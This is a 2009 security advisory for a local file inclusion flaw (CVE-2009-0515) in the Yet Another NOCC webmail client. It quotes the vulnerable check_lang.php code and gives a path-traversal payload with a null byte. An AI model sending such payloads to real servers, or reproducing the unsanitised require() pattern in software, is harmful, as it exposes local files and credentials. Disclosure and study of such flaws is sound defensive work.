Yet Another NOCC <= 0.1.0 Local File Inclusion Vulnerability

2009.02.12

Credit: Kacper

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-0515

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Yet Another NOCC 0.1.0 <= Local File Inclusion Vulnerabilities

YANOCC is a simple and fast webmail client which can handle POP3, SMTP, and IMAP servers. 
YANOCC is based on NOCC's code and is written with PHP4. It features multi-language support, 
MIME attachments, displays HTML messages, address book, folder support.

Author: Kacper
HomePage: http://devilteam.pl/
          http://polskihacking.pl/

in file check_lang.php:

if (!ISSET($lang))
{
	$ar_lang = explode(",", $HTTP_ACCEPT_LANGUAGE);
	while ($accept_lang = array_shift($ar_lang))
	{
		$tmp = explode(";", $accept_lang);
		$tmp[0] = strtolower($tmp[0]);
		if (file_exists("lang/".$tmp[0].".php"))
		{
			$lang = $tmp[0];
			break;
		}
	}
	if ($lang == "")
		$lang = $default_lang;
}
//  Fix for faulty PHP install (RH7, see bug #24933)
$lang = trim($lang);
require ("lang/".$lang.".php");

Vuln example:

check_lang.php?lang=../[localinclude]%00

See this note in RAW Version

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Yet Another NOCC <= 0.1.0 Local File Inclusion Vulnerability

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